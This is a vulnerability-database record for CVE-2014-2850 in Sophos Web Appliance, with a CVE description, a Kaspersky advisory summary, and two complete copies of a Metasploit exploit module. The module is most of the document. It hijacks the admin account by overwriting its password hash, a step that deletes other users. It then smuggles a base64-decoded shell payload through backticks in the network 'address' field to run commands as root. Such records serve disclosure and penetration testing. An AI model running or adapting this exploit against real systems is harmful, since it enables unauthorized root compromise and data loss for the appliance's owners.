ID CVE-2014-2850 Type cve Reporter cve@mitre.org Modified 2014-04-14T15:38:00
Description
The network interface configuration page (netinterface) in Sophos Web Appliance before 3.8.2 allows remote administrators to execute arbitrary commands via shell metacharacters in the address parameter.
{"exploitdb": [{"lastseen": "2016-02-03T17:47:49", "description": "Sophos Web Protection Appliance Interface Authenticated Arbitrary Command Execution. CVE-2014-2850. Remote exploit for unix platform", "published": "2014-04-10T00:00:00", "type": "exploitdb", "title": "Sophos Web Protection Appliance Interface Authenticated Arbitrary Command Execution", "bulletinFamily": "exploit", "cvelist": ["CVE-2014-2850", "CVE-2014-2849"], "modified": "2014-04-10T00:00:00", "id": "EDB-ID:32789", "href": "https://www.exploit-db.com/exploits/32789/", "sourceData": "##\r\n# This module requires Metasploit: http//metasploit.com/download\r\n# Current source: https://github.com/rapid7/metasploit-framework\r\n##\r\n\r\nrequire 'msf/core'\r\n\r\nclass Metasploit3 < Msf::Exploit::Remote\r\n Rank = ExcellentRanking\r\n\r\n include Msf::Exploit::Remote::HttpClient\r\n\r\n def initialize(info = {})\r\n super(update_info(info,\r\n 'Name' => 'Sophos Web Protection Appliance Interface Authenticated Arbitrary Command Execution',\r\n 'Description' => %q{\r\n This module takes advantage of two vulnerabilities in order to gain remote code execution as root\r\n as an otherwise non-privileged authorized user. By taking advantage of a mass assignment\r\n vulnerability that allows an unprivileged authenticated user to change the admininistrator's\r\n password hash, the module updates the password to login as the admin to reach the second vulnerability.\r\n No server-side sanitization is done on values passed when configuring a static network interface.\r\n This allows an administrator user to run arbitrary commands in the context of the web application,\r\n which is root when configuring the network interface. This module will inadvertently delete\r\n any other users that may have been present as a side effect of changing the admin's password.\r\n },\r\n 'Author' =>\r\n [\r\n 'Brandon Perry <bperry.volatile@gmail.com>' # discovery and Metasploit module\r\n ],\r\n 'License' => MSF_LICENSE,\r\n 'References' =>\r\n [\r\n ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-14-069/']\r\n ],\r\n 'Platform' => ['unix'],\r\n 'Arch' => ARCH_CMD,\r\n 'Privileged' => true,\r\n 'Payload' =>\r\n {\r\n 'Space' => 500,\r\n 'DisableNops' => true,\r\n 'BadChars' => \"\", #base64 encryption ftw!\r\n 'Compat' =>\r\n {\r\n 'PayloadType' => 'cmd',\r\n 'RequiredCmd' => 'generic telnet'\r\n }\r\n },\r\n 'Targets' =>\r\n [\r\n [ 'Sophos Web Protection Appliance 3.8.1.1', { }]\r\n ],\r\n 'DefaultOptions' =>\r\n {\r\n 'SSL' => true\r\n },\r\n 'DefaultTarget' => 0,\r\n 'DisclosureDate' => 'Apr 8 2014'\r\n ))\r\n\r\n register_options(\r\n [\r\n OptString.new('USERNAME', [true, 'The username to authenticate as', nil]),\r\n OptString.new('PASSWORD', [true, 'The password to authenticate with', nil]),\r\n OptString.new('TARGETURI', [true, 'The target URI', '/']),\r\n Opt::RPORT(443)\r\n ],\r\n self.class\r\n )\r\n end\r\n\r\n def exploit\r\n init = send_request_cgi({\r\n 'uri' => normalize_uri(target_uri.path, 'index.php')\r\n })\r\n\r\n if !init or !init.body\r\n fail_with(\"Could not connect to host\")\r\n end\r\n\r\n print_status(\"Getting STYLE key...\")\r\n\r\n style = ''\r\n init.body.each_line do |line|\r\n next if line !~ /name=\"STYLE\" value=\"(.*)\"/\r\n style = $1\r\n end\r\n\r\n if style == ''\r\n fail_with(\"Could not find style key.\")\r\n end\r\n\r\n post = {\r\n 'STYLE' => style,\r\n 'destination' => '',\r\n 'section' => '',\r\n 'username' => datastore['USERNAME'],\r\n 'password' => datastore['PASSWORD']\r\n }\r\n\r\n print_status(\"Authenticating as \" + datastore['USERNAME'])\r\n login = send_request_cgi({\r\n 'uri' => normalize_uri(target_uri.path, '/index.php?c=login'),\r\n 'method' => 'POST',\r\n 'vars_post' => post\r\n })\r\n\r\n if !login or login.code != 200 or login.body !~ /#{datastore['USERNAME']}<\\/a>/\r\n fail_with(\"Authentication failed\")\r\n end\r\n\r\n #I don't know what salt is being used to hash these\r\n #passwords (probably in js somewhere), so I have\r\n #to use a static one that I saw being POSTed while\r\n #exploring, it is 'notpassword'.\r\n #\r\n #This will actually delete every other user that exists\r\n #except for admin, whose password will be changed\r\n #\r\n #whoops\r\n admin_hash = '[{\"id\": \"default_admin\", \"username\": \"admin\", \"name\": \"Default Administrator\"'\r\n admin_hash << ', \"password\": \"70ec23d3e019a307081732c0162b2733\", \"description\": \"Default '\r\n admin_hash << 'Administrator Account\", \"admin\": true, \"roles\": [\"admin\"], \"reporting_groups\"'\r\n admin_hash << ': [], \"user_id\": 0}]'\r\n\r\n post = {\r\n 'action' => 'save',\r\n 'STYLE' => style,\r\n 'username' => Rex::Text.uri_encode(Rex::Text.encode_base64(datastore['USERNAME'])),\r\n 'current' => Rex::Text.uri_encode(Rex::Text.encode_base64(datastore['PASSWORD'])),\r\n 'new' => Rex::Text.uri_encode(Rex::Text.encode_base64(datastore['PASSWORD'])),\r\n 'admins' => admin_hash\r\n }\r\n\r\n print_status(\"Changing old password hash to notpassword\")\r\n passchange = send_request_cgi({\r\n 'uri' => normalize_uri(target_uri.path, '/index.php?c=change_password'),\r\n 'method' => 'POST',\r\n 'vars_post' => post\r\n })\r\n\r\n if !passchange or passchange.code != 200\r\n fail_with(\"Couldn't update admin's password\")\r\n end\r\n\r\n print_status(\"Logging in as the admin now\")\r\n init = send_request_cgi({\r\n 'uri' => normalize_uri(target_uri.path, 'index.php')\r\n })\r\n\r\n if !init or init.code != 200\r\n fail_with(\"Couldn't reget index page for admin auth\")\r\n end\r\n\r\n init.body.each_line do |line|\r\n next if line !~ /name=\"STYLE\" value=\"(.*)\"/\r\n style = $1\r\n end\r\n\r\n post = {\r\n 'STYLE' => style,\r\n 'destination' => '',\r\n 'section' => '',\r\n 'username' => 'admin',\r\n 'password' => 'notpassword'\r\n }\r\n\r\n login = send_request_cgi({\r\n 'uri' => normalize_uri(target_uri.path, 'index.php?c=login'),\r\n 'method' => 'POST',\r\n 'vars_post' => post\r\n })\r\n\r\n if !login or login.code != 200 or login.body !~ /admin<\\/a>/\r\n fail_with(\"Couldn't login as admin\")\r\n end\r\n\r\n pay = Rex::Text.uri_encode(Rex::Text.encode_base64(payload.encoded))\r\n post = {\r\n 'STYLE' => style,\r\n 'dhcp' => 'no',\r\n 'address' => \"192.16`echo #{pay}|base64 --decode|sh`8.1.16\",\r\n 'gateway' => '192.168.1.254',\r\n 'sb_bridge' => 'explicit',\r\n 'netmask' => '255.255.255.0',\r\n 'sb_linktype' => 'auto',\r\n 'dns' => 'yes',\r\n 'dns1' => '192.168.1.254',\r\n 'dns2' => '',\r\n 'dns3' => ''\r\n }\r\n\r\n print_status(\"Sending payload\")\r\n send_request_cgi({\r\n 'uri' => normalize_uri(target_uri.path, 'index.php?c=netinterface'),\r\n 'method' => 'POST',\r\n 'vars_post' => post,\r\n })\r\n end\r\nend", "cvss": {"score": 8.5, "vector": "AV:NETWORK/AC:MEDIUM/Au:SINGLE_INSTANCE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://www.exploit-db.com/download/32789/"}], "kaspersky": [{"lastseen": "2020-09-02T11:41:32", "bulletinFamily": "info", "cvelist": ["CVE-2014-2850", "CVE-2014-2849"], "description": "### *Detect date*:\n04/11/2014\n\n### *Severity*:\nCritical\n\n### *Description*:\nMultiple critical vulnerabilities have been found in Sophos Web Appliance. Malicious users can exploit these vulnerabilities to execute arbitrary commands or change admin password. Below is a complete list of vulnerabilities\n\n### *Affected products*:\nSophos Web Appliance versions 3.8.1.1 and earlier\n\n### *Solution*:\nUpdate to latest version\n\n### *Impacts*:\nACE \n\n### *Related products*:\n[Sophos Web Appliance](<https://threats.kaspersky.com/en/product/Sophos-Web-Appliance/>)\n\n### *CVE-IDS*:\n[CVE-2014-2849](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-2849>)8.5Critical \n[CVE-2014-2850](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-2850>)8.5Critical\n\n### *Exploitation*:\nThe following public exploits exists for this vulnerability:", "edition": 40, "modified": "2020-06-18T00:00:00", "published": "2014-04-11T00:00:00", "id": "KLA10336", "href": "https://threats.kaspersky.com/en/vulnerability/KLA10336", "title": "\r KLA10336Multiple vulnerabilities in Sophos Web Appliance ", "type": "kaspersky", "cvss": {"score": 8.5, "vector": "AV:N/AC:L/Au:S/C:N/I:C/A:C"}}], "metasploit": [{"lastseen": "2020-10-08T00:22:35", "description": "This module takes advantage of two vulnerabilities in order to gain remote code execution as root as an otherwise non-privileged authorized user. By taking advantage of a mass assignment vulnerability that allows an unprivileged authenticated user to change the administrator's password hash, the module updates the password to login as the admin to reach the second vulnerability. No server-side sanitization is done on values passed when configuring a static network interface. This allows an administrator user to run arbitrary commands in the context of the web application, which is root when configuring the network interface. This module will inadvertently delete any other users that may have been present as a side effect of changing the admin's password.\n", "published": "2014-04-09T12:17:14", "type": "metasploit", "title": "Sophos Web Protection Appliance Interface Authenticated Arbitrary Command Execution", "bulletinFamily": "exploit", "cvelist": ["CVE-2014-2849", "CVE-2014-2850"], "modified": "2020-10-02T20:00:37", "id": "MSF:EXPLOIT/LINUX/HTTP/SOPHOS_WPA_IFACE_EXEC", "href": "", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n Rank = ExcellentRanking\n\n include Msf::Exploit::Remote::HttpClient\n\n def initialize(info = {})\n super(update_info(info,\n 'Name' => 'Sophos Web Protection Appliance Interface Authenticated Arbitrary Command Execution',\n 'Description' => %q{\n This module takes advantage of two vulnerabilities in order to gain remote code execution as root\n as an otherwise non-privileged authorized user. By taking advantage of a mass assignment\n vulnerability that allows an unprivileged authenticated user to change the administrator's\n password hash, the module updates the password to login as the admin to reach the second vulnerability.\n No server-side sanitization is done on values passed when configuring a static network interface.\n This allows an administrator user to run arbitrary commands in the context of the web application,\n which is root when configuring the network interface. This module will inadvertently delete\n any other users that may have been present as a side effect of changing the admin's password.\n },\n 'Author' =>\n [\n 'Brandon Perry <bperry.volatile[at]gmail.com>' # discovery and Metasploit module\n ],\n 'License' => MSF_LICENSE,\n 'References' =>\n [\n ['CVE', '2014-2849'],\n ['CVE', '2014-2850'],\n ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-14-069/']\n ],\n 'Platform' => ['unix'],\n 'Arch' => ARCH_CMD,\n 'Privileged' => true,\n 'Payload' =>\n {\n 'Space' => 500,\n 'DisableNops' => true,\n 'BadChars' => \"\", #base64 encryption ftw!\n 'Compat' =>\n {\n 'PayloadType' => 'cmd',\n 'RequiredCmd' => 'generic telnet'\n }\n },\n 'Targets' =>\n [\n [ 'Sophos Web Protection Appliance 3.8.1.1', { }]\n ],\n 'DefaultOptions' =>\n {\n 'SSL' => true\n },\n 'DefaultTarget' => 0,\n 'DisclosureDate' => '2014-04-08'\n ))\n\n register_options(\n [\n OptString.new('USERNAME', [true, 'The username to authenticate as', nil]),\n OptString.new('PASSWORD', [true, 'The password to authenticate with', nil]),\n OptString.new('TARGETURI', [true, 'The target URI', '/']),\n Opt::RPORT(443)\n ],\n self.class\n )\n end\n\n def exploit\n init = send_request_cgi({\n 'uri' => normalize_uri(target_uri.path, 'index.php')\n })\n\n if !init or !init.body\n fail_with(Failure::Unreachable, \"Could not connect to host\")\n end\n\n print_status(\"Getting STYLE key...\")\n\n style = ''\n init.body.each_line do |line|\n next if line !~ /name=\"STYLE\" value=\"(.*)\"/\n style = $1\n end\n\n if style == ''\n fail_with(Failure::UnexpectedReply, \"Could not find style key.\")\n end\n\n post = {\n 'STYLE' => style,\n 'destination' => '',\n 'section' => '',\n 'username' => datastore['USERNAME'],\n 'password' => datastore['PASSWORD']\n }\n\n print_status(\"Authenticating as \" + datastore['USERNAME'])\n login = send_request_cgi({\n 'uri' => normalize_uri(target_uri.path, '/index.php'),\n 'method' => 'POST',\n 'encode_params' => false,\n 'vars_post' => post,\n 'vars_get' => {\n 'c' => 'login',\n }\n })\n\n if !login or login.code != 200 or login.body !~ /#{datastore['USERNAME']}<\\/a>/\n fail_with(Failure::NoAccess, \"Authentication failed\")\n end\n\n #I don't know what salt is being used to hash these\n #passwords (probably in js somewhere), so I have\n #to use a static one that I saw being POSTed while\n #exploring, it is 'notpassword'.\n #\n #This will actually delete every other user that exists\n #except for admin, whose password will be changed\n #\n #whoops\n admin_hash = '[{\"id\": \"default_admin\", \"username\": \"admin\", \"name\": \"Default Administrator\"'\n admin_hash << ', \"password\": \"70ec23d3e019a307081732c0162b2733\", \"description\": \"Default '\n admin_hash << 'Administrator Account\", \"admin\": true, \"roles\": [\"admin\"], \"reporting_groups\"'\n admin_hash << ': [], \"user_id\": 0}]'\n\n post = {\n 'action' => 'save',\n 'STYLE' => style,\n 'username' => Rex::Text.uri_encode(Rex::Text.encode_base64(datastore['USERNAME'])),\n 'current' => Rex::Text.uri_encode(Rex::Text.encode_base64(datastore['PASSWORD'])),\n 'new' => Rex::Text.uri_encode(Rex::Text.encode_base64(datastore['PASSWORD'])),\n 'admins' => admin_hash\n }\n\n print_status(\"Changing old password hash to notpassword\")\n passchange = send_request_cgi({\n 'uri' => normalize_uri(target_uri.path, '/index.php'),\n 'method' => 'POST',\n 'vars_post' => post,\n 'vars_get' => {\n 'c' => 'change_password'\n }\n })\n\n if !passchange or passchange.code != 200\n fail_with(Failure::UnexpectedReply, \"Couldn't update admin's password\")\n end\n\n print_status(\"Logging in as the admin now\")\n init = send_request_cgi({\n 'uri' => normalize_uri(target_uri.path, 'index.php')\n })\n\n if !init or init.code != 200\n fail_with(Failure::UnexpectedReply, \"Couldn't reget index page for admin auth\")\n end\n\n init.body.each_line do |line|\n next if line !~ /name=\"STYLE\" value=\"(.*)\"/\n style = $1\n end\n\n post = {\n 'STYLE' => style,\n 'destination' => '',\n 'section' => '',\n 'username' => 'admin',\n 'password' => 'notpassword'\n }\n\n login = send_request_cgi({\n 'uri' => normalize_uri(target_uri.path, 'index.php'),\n 'method' => 'POST',\n 'vars_post' => post,\n 'vars_get' => {\n 'c' => 'login',\n }\n })\n\n if !login or login.code != 200 or login.body !~ /admin<\\/a>/\n fail_with(Failure::NoAccess, \"Couldn't login as admin\")\n end\n\n pay = Rex::Text.uri_encode(Rex::Text.encode_base64(payload.encoded))\n post = {\n 'STYLE' => style,\n 'dhcp' => 'no',\n 'address' => \"192.16`echo #{pay}|base64 --decode|sh`8.1.16\",\n 'gateway' => '192.168.1.254',\n 'sb_bridge' => 'explicit',\n 'netmask' => '255.255.255.0',\n 'sb_linktype' => 'auto',\n 'dns' => 'yes',\n 'dns1' => '192.168.1.254',\n 'dns2' => '',\n 'dns3' => ''\n }\n\n print_status(\"Sending payload\")\n send_request_cgi({\n 'uri' => normalize_uri(target_uri.path, 'index.php'),\n 'method' => 'POST',\n 'vars_post' => post,\n 'vars_get' => {\n 'c' => 'netinterface',\n }\n })\n end\nend\n", "cvss": {"score": 8.5, "vector": "AV:N/AC:L/Au:S/C:N/I:C/A:C"}, "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/linux/http/sophos_wpa_iface_exec.rb"}]}
